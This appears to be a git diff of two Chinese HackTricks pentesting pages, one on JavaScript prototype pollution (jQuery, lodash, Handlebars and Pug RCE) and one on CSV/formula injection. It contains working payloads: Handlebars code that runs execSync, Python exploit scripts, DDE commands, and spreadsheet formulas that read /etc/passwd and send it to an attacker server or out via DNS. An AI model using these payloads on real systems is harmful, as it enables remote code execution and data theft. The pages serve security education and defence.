在一个场景中,你可以**污染一个特定对象**并且需要**访问 `Object.prototype`**,你可以使用类似以下代码进行搜索:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
|
@ -160,7 +162,7 @@ console.log(key1 + "." + key2)
|
|||
```
|
||||
### 数组元素污染
|
||||
|
||||
请注意,就像您可以在JS中污染对象的属性一样,如果您可以污染数组,您也可以**污染通过索引**访问的数组的**值**(请注意,您不能覆盖值,因此您需要污染那些以某种方式被使用但未被写入的索引)。
|
||||
请注意,正如您可以污染JS对象的属性一样,如果您可以访问污染一个数组,您也可以**污染数组的值**,这些值可以通过**索引**访问(请注意,您无法覆盖值,因此您需要污染某种方式使用但未写入的索引)。
|
||||
```javascript
|
||||
c = [1,2]
|
||||
a = []
|
||||
|
@ -170,9 +172,9 @@ b[0] //undefined
|
|||
b[1] //"yolo"
|
||||
c[1] // 2 -- not
|
||||
```
|
||||
### Html 元素污染
|
||||
### Html元素污染
|
||||
|
||||
通过 JS 生成 HTML 元素时,可以**覆盖** **`innerHTML`** 属性,使其编写**任意 HTML 代码。** [灵感和示例来自这篇文章](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
在通过JS生成HTML元素时,可以**覆盖** **`innerHTML`** 属性,使其编写**任意HTML代码。** [灵感和示例来自此解说](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -187,201 +189,94 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## 示例
|
||||
## 例子
|
||||
|
||||
### 基础示例
|
||||
### 基本示例
|
||||
|
||||
那么原型污染在哪里发生呢?当应用程序中存在一个错误,使得可以重写`Object.prototype`的属性时,就会发生原型污染。由于每个典型对象都从`Object.prototype`继承其属性,我们可以改变应用程序的行为。最常见的示例是以下情况:
|
||||
那么原型污染出现在哪里呢?当应用程序中存在漏洞,使得可以覆盖 `Object.prototype` 的属性时,原型污染就会发生。由于每个典型对象都从 `Object.prototype` 继承其属性,我们可以改变应用程序的行为。最常见的示例如下:
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
```
|
||||
想象我们有一个原型污染,可以设置 `Object.prototype.isAdmin = true`。那么,除非应用程序明确分配了任何值,否则 `user.isAdmin` 总是为真!
|
||||
假设我们有一个原型污染,使得可以设置 `Object.prototype.isAdmin = true`。然后,除非应用程序明确分配任何值,`user.isAdmin` 总是为 true!
|
||||
|
||||
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
|
||||
|
||||
例如,`obj[a][b] = value`。如果攻击者可以控制 `a` 和 `value` 的值,那么他只需要将 `a` 的值调整为 `__proto__`(在javascript中,`obj["__proto__"]` 和 `obj.__proto__` 是完全等价的),然后应用程序中所有现有对象的属性 `b` 将被分配给 `value`。
|
||||
例如,`obj[a][b] = value`。如果攻击者可以控制 `a` 和 `value` 的值,那么他只需要将 `a` 的值调整为 `__proto__`(在 JavaScript 中,`obj["__proto__"]` 和 `obj.__proto__` 是完全等效的),那么应用程序中所有现有对象的属性 `b` 将被分配为 `value`。
|
||||
|
||||
然而,攻击并不像上面那样简单,根据[论文](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf),我们只能在满足以下三个条件之一时进行攻击:
|
||||
然而,根据[论文](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf),攻击并不像上面那样简单,我们只能在满足以下三个条件之一时进行攻击:
|
||||
|
||||
* 执行递归合并
|
||||
* 通过路径定义属性
|
||||
* 按路径定义属性
|
||||
* 克隆对象
|
||||
|
||||
### 覆盖函数
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
### 原型污染到远程代码执行
|
||||
### Proto Pollution to RCE
|
||||
|
||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 客户端原型污染到XSS
|
||||
## 客户端原型污染到 XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358:通过jQuery $ .extend进行的原型污染攻击
|
||||
### CVE-2019–11358: 通过 jQuery $ .extend 进行原型污染攻击
|
||||
|
||||
如果处理不当,$ .extend可以改变对象`prototype`(应用中对象的模板)的属性。这个属性随后会出现在所有对象上。注意,只有“深度”版本(即g)的$ .extend受到影响。
|
||||
$ .extend,如果处理不当,可以更改对象 `prototype`(应用程序中对象的模板)的属性。然后,这个属性将出现在所有对象上。请注意,只有“深层”版本(即 g)的 $ .extend 受到影响。
|
||||
|
||||
程序员经常使用这个函数来复制一个对象或从默认对象填充新属性。例如:
|
||||
程序员经常使用此函数来复制对象或从默认对象中填充新属性。例如:
|
||||
|
||||
我们可以想象`myObject`是用户的输入字段,并被序列化到数据库中)
|
||||
我们可以想象 `myObject` 是来自用户的输入字段,并被序列化到数据库中。
|
||||
|
||||
在这段代码中,我们通常认为,运行时会将属性`isAdmin`分配到新创建的对象中。但实际上,它是直接分配给`{}`的,然后`{}.isAdmin`将会是`true`。如果在这段代码之后,我们执行以下检查:
|
||||
在这段代码中,我们经常认为,在运行时会将属性 `isAdmin` 分配给新创建的对象。但实质上,它直接分配给 `{}`,然后 `{}.isAdmin` 将是 `true`。如果在此代码之后,我们执行以下检查:
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
}
|
||||
```
|
||||
如果用户尚不存在(`undefined`),则会在其父对象中搜索属性`isAdmin`,即上面添加了值为`true`的`isAdmin`的Object。
|
||||
如果用户尚不存在(`undefined`),将在其父对象中搜索属性`isAdmin`,该父对象是在上面添加了值为`true`的`isAdmin`的对象。
|
||||
|
||||
在JQuery 3.3.1上执行时的另一个例子:
|
||||
在执行JQuery 3.3.1时的另一个示例:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
这些错误可能会影响许多JavaScript项目,尤其是NodeJS项目,最实际的例子是2018年12月Mongoose中的错误,Mongoose是一个帮助操作MongoDB的JS库。
|
||||
### CVE-2018–3721, CVE-2019–10744: 通过lodash进行原型污染攻击
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744:通过lodash进行原型污染攻击
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) 也是一个著名的库,提供了许多不同的功能,帮助我们更方便、更整洁地编写代码,每周下载量超过1900万次。它和JQuery有着同样的问题。
|
||||
[Lodash](https://www.npmjs.com/package/lodash)也是一个知名的库,提供了许多不同的函数,帮助我们更方便、更整洁地编写代码,每周下载量超过1900万次。它也遇到了与JQuery相同的问题。
|
||||
|
||||
**CVE-2018–3721**
|
||||
|
||||
**CVE-2019–10744**
|
||||
|
||||
这个漏洞影响了Lodash的所有版本,已在4.17.11版本中修复。
|
||||
这个漏洞影响所有版本的Lodash,在版本4.17.11中已修复。
|
||||
|
||||
### 另一个带有CVEs的教程
|
||||
### 另一个带有CVE的教程
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
## AST原型污染
|
||||
### NodeJS中的AST原型污染
|
||||
|
||||
在NodeJS中,AST在JS中非常常用,如模板引擎和typescript等。\
|
||||
对于模板引擎,结构如上图所示。
|
||||
NodeJS广泛利用JavaScript中的抽象语法树(AST)来实现诸如模板引擎和TypeScript等功能。本节探讨了与模板引擎(特别是Handlebars和Pug)中原型污染相关的漏洞。
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph_3.jpg)
|
||||
#### Handlebars漏洞分析
|
||||
|
||||
### Handlebars
|
||||
Handlebars模板引擎可能会被利用进行原型污染。漏洞主要存在于`javascript-compiler.js`文件中的`appendContent`和`pushSource`函数中,其中`appendContent`会在存在`pendingContent`时连接`pendingContent`,而`pushSource`在推送源码后将`pendingContent`设置为`undefined`。
|
||||
|
||||
信息取自[https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
##### 利用过程
|
||||
|
||||
您可以将任何字符串插入`Object.prototype.pendingContent`来确定攻击的可能性。\
|
||||
这允许您确信,在黑盒环境中存在原型污染时,服务器正在使用handlebars引擎。
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
|
||||
利用涉及操纵Handlebars生成的AST。过程如下:
|
||||
|
||||
...
|
||||
appendContent: function appendContent(content) {
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
1. **解析器操纵**:解析器通过`NumberLiteral`节点强制值为数字。但是,这可以通过原型污染绕过,允许插入非数字字符串。
|
||||
2. **编译器处理**:编译器接受AST对象或模板字符串。如果`input.type`为`Program`,则认为输入已经预解析,可能导致利用。
|
||||
3. **代码注入**:通过操纵`Object.prototype`,可以将任意代码注入模板函数,可能导致远程代码执行。
|
||||
|
||||
this.pendingContent = content;
|
||||
},
|
||||
pushSource: function pushSource(source) {
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
}
|
||||
...
|
||||
```
|
||||
**利用**
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph_5.jpg)
|
||||
|
||||
Handlebars 的工作流程如上图所示。
|
||||
|
||||
在词法分析器和解析器生成 AST 之后,它会传递给 `compiler.js`\
|
||||
我们可以使用一些参数运行模板函数编译器生成的内容。它会返回类似于 “Hello posix” 的字符串(当 msg 是 posix 时)。
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
|
||||
|
||||
case 36:
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
```
|
||||
解析器在 handlebars 中强制类型为 NumberLiteral 的节点的值始终通过 Number 构造函数是一个数字。然而,您可以使用原型污染在此处插入一个非数字字符串。
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
|
||||
|
||||
function parseWithoutProcessing(input, options) {
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
|
||||
_parser2['default'].yy = yy;
|
||||
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
|
||||
var ast = _parser2['default'].parse(input);
|
||||
|
||||
return ast;
|
||||
}
|
||||
|
||||
function parse(input, options) {
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
var strip = new _whitespaceControl2['default'](options);
|
||||
|
||||
return strip.accept(ast);
|
||||
}
|
||||
```
|
||||
首先,查看 compile 函数,它支持两种输入方式,AST 对象和模板字符串。
|
||||
|
||||
当 input.type 是 `Program` 时,尽管输入值实际上是字符串。\
|
||||
解析器认为它已经是由 parser.js 解析的 AST,并将其发送给编译器,而不进行任何处理。
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
|
||||
|
||||
...
|
||||
accept: function accept(node) {
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
},
|
||||
Program: function Program(program) {
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
|
||||
var body = program.body,
|
||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
|
||||
this.options.blockParams.shift();
|
||||
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
|
||||
return this;
|
||||
}
|
||||
```
|
||||
编译器接收到 AST 对象(实际上是一个字符串),将其发送到 `accept` 方法。\
|
||||
`accept` 调用编译器的 `this[node.type]`。\
|
||||
然后取 AST 的 body 属性,用于构建函数。
|
||||
Handlebars漏洞利用示例:
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
|
@ -399,42 +294,20 @@ Object.prototype.body = [{
|
|||
}
|
||||
}];
|
||||
|
||||
|
||||
const source = `Hello {{ msg }}`;
|
||||
const template = Handlebars.precompile(source);
|
||||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
|
||||
/*
|
||||
function (container, depth0, helpers, partials, data) {
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
}
|
||||
*/
|
||||
```
|
||||
因此,攻击可以这样配置。如果您已经检查了解析器,请指定一个不能赋给NumberLiteral值的字符串。但是一旦处理了注入的AST,我们可以将任何代码插入到函数中。
|
||||
上述代码演示了攻击者如何将任意代码注入Handlebars模板。
|
||||
|
||||
**示例**
|
||||
**外部参考**: [与'flat'库中原型污染相关的问题](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
[https://github.com/hughsk/flat/issues/105](https://github.com/hughsk/flat/issues/105)
|
||||
Python中原型污染的示例:
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
@ -456,13 +329,15 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
### Pug
|
||||
#### Pug漏洞
|
||||
|
||||
更多信息请见 [https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug)
|
||||
与Handlebars类似,Pug也可以通过原型污染进行利用。更多信息请参阅[Pug中的AST注入](https://blog.p6.is/AST-Injection/#Pug)。
|
||||
|
||||
Pug中原型污染的示例:
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
@ -475,31 +350,36 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
## 如何预防?
|
||||
### 预防措施
|
||||
|
||||
为了减少原型污染的风险,请考虑以下策略:
|
||||
|
||||
1. **对象不可变性**:利用 `Object.freeze` 使 `Object.prototype` 不可变。
|
||||
2. **输入验证**:根据应用程序的模式严格验证 JSON 输入。
|
||||
3. **安全合并函数**:避免不安全地使用递归合并函数。
|
||||
4. **无原型对象**:使用 `Object.create(null)` 创建没有原型属性的对象。
|
||||
5. **使用 Map**:选择 `Map` 而不是 `Object` 用于键值对。
|
||||
6. **库更新**:定期更新库以整合安全补丁。
|
||||
|
||||
|
||||
* 使用 Object.freeze 冻结属性(Object.prototype)
|
||||
* 根据应用程序的模式对 JSON 输入进行验证
|
||||
* 避免不安全地使用递归合并函数
|
||||
* 使用没有原型属性的对象,例如 `Object.create(null)`,以避免影响原型链
|
||||
* 使用 `Map` 而不是 `Object`
|
||||
* 定期为库更新新补丁
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
* [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
* [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# 公式/CSV/Doc/LaTeX/GhostScript 注入
|
||||
# 公式/CSV/文档/LaTeX/GhostScript注入
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到对您最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -26,13 +26,13 @@
|
|||
|
||||
### 信息
|
||||
|
||||
如果您的**输入**在**CSV 文件**中被**反映**(或任何可能会被 **Excel** 打开的其他文件),您可能能够放置 Excel **公式**,当用户**打开文件**或当用户在 excel 表格内**点击某个链接**时将会**执行**这些公式。
|
||||
如果您的**输入**被**反射**在**CSV文件**(或任何其他可能会被**Excel**打开的文件)中,您可能可以放置Excel**公式**,当用户**打开文件**或用户在Excel表格中**点击某个链接**时,这些公式将被**执行**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
如今,**Excel 会提醒**(多次)**用户当从 Excel 外部加载内容时**,以防止他执行恶意操作。因此,对最终有效载荷必须应用特别的社会工程学努力。
|
||||
现在**Excel会警告**(多次)用户,当从Excel外部加载内容时,以防止他从事恶意行为。因此,必须对最终有效负载应用特别的社会工程学技巧。
|
||||
{% endhint %}
|
||||
|
||||
### [词表](https://github.com/payloadbox/csv-injection-payloads)
|
||||
### [字典](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+9)*cmd|' /C calc'!A0
|
||||
|
@ -43,36 +43,37 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### 超链接
|
||||
|
||||
**以下示例非常有用,可以从最终的Excel表格中泄露内容,并执行对任意位置的请求。但它要求用户点击链接(并接受警告提示)。**
|
||||
**以下示例非常有用,可用于从最终的Excel表中窃取内容并向任意位置发出请求。但需要用户点击链接(并接受警告提示)。**
|
||||
|
||||
示例取自 [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
以下示例摘自[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
假设一个学校的学生记录管理系统的攻击场景。该应用程序允许教师输入学校学生的详细信息。攻击者获取了应用程序的访问权限,并希望使用该应用程序的所有教师都受到威胁。因此,攻击者尝试通过Web应用程序执行CSV注入攻击。\
|
||||
攻击者需要窃取其他学生的详细信息。因此,攻击者在输入学生详细信息时使用超链接公式。
|
||||
想象一下,通过CSV注入攻击利用了学生记录管理系统中的安全漏洞。攻击者的主要目的是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入到应用程序中,具体方法是在用于学生详细信息的字段中输入有害公式。攻击过程如下:
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
|
||||
1. **注入恶意有效载荷:**
|
||||
- 攻击者提交学生详细信息表单,但包含电子表格中常用的公式(例如,`=HYPERLINK("<malicious_link>","Click here")`)。
|
||||
- 该公式旨在创建一个超链接,但指向攻击者控制的恶意服务器。
|
||||
|
||||
当教师导出CSV并点击超链接时,敏感数据被发送到攻击者的服务器。
|
||||
2. **导出受损数据:**
|
||||
- 教师们不知情地使用应用程序的功能将数据导出到CSV文件中。
|
||||
- 当打开CSV文件时,仍然包含恶意有效载荷。该有效载荷在电子表格中显示为可点击的超链接。
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
|
||||
3. **触发攻击:**
|
||||
- 教师点击超链接,认为它是学生详细信息的合法部分。
|
||||
- 点击后,敏感数据(可能包括电子表格或教师计算机中的详细信息)被传输到攻击者的服务器。
|
||||
|
||||
导出的CSV文件包含恶意载荷。
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
|
||||
|
||||
学生的详细信息记录在攻击者的Web服务器中。
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
|
||||
4. **记录数据:**
|
||||
- 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
|
||||
- 攻击者随后可以利用这些数据进行各种恶意用途,进一步危及学生和机构的隐私和安全。
|
||||
|
||||
### RCE
|
||||
|
||||
要使此示例工作,**需要启用以下配置**:\
|
||||
为使此示例起作用,**需要启用以下配置**:\
|
||||
文件 → 选项 → 信任中心 → 信任中心设置 → 外部内容 → 启用动态数据交换服务器启动\
|
||||
或使用**旧版本的Excel**。
|
||||
或使用**旧版Excel**。
|
||||
|
||||
好消息是,**当文件打开时,这个载荷会自动执行**(如果用户接受警告)。
|
||||
好消息是,**当打开文件时,此有效载荷会自动执行**(如果用户接受警告)。
|
||||
|
||||
可以使用以下载荷执行计算器 **`=cmd|' /C calc'!xxx`**
|
||||
可以使用以下有效载荷执行计算器 **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
|
||||
|
@ -85,61 +86,61 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
**LibreOffice Calc**
|
||||
|
||||
* 读取本地 /etc/passwd 文件的第一行:`='file:///etc/passwd'#$passwd.A1`
|
||||
* 泄露它:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* 泄露多行:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* DNS 泄露:`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
* 泄露数据:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* 泄露多行数据:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* DNS 数据泄露:`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
|
||||
**分析 DNS 泄露载荷:**
|
||||
**分析 DNS 数据泄露负载:**
|
||||
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – 将读取本地 /etc/passwd 文件的第19行
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – 对返回的数据进行URL编码
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – 类似于子字符串,从第1个字符读取到第41个字符 - 这是限制 DNS 主机名长度的非常方便的方法(FQDN 的限制是254个字符,标签即子域的限制是63个字符)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – 将所有的 %(URL编码中的特殊字符)替换为破折号 - 这是确保只使用有效的 DNS 字符
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – 将文件输出(经过上述处理后)与 FQDN(我们可以访问的域的权威主机)连接起来
|
||||
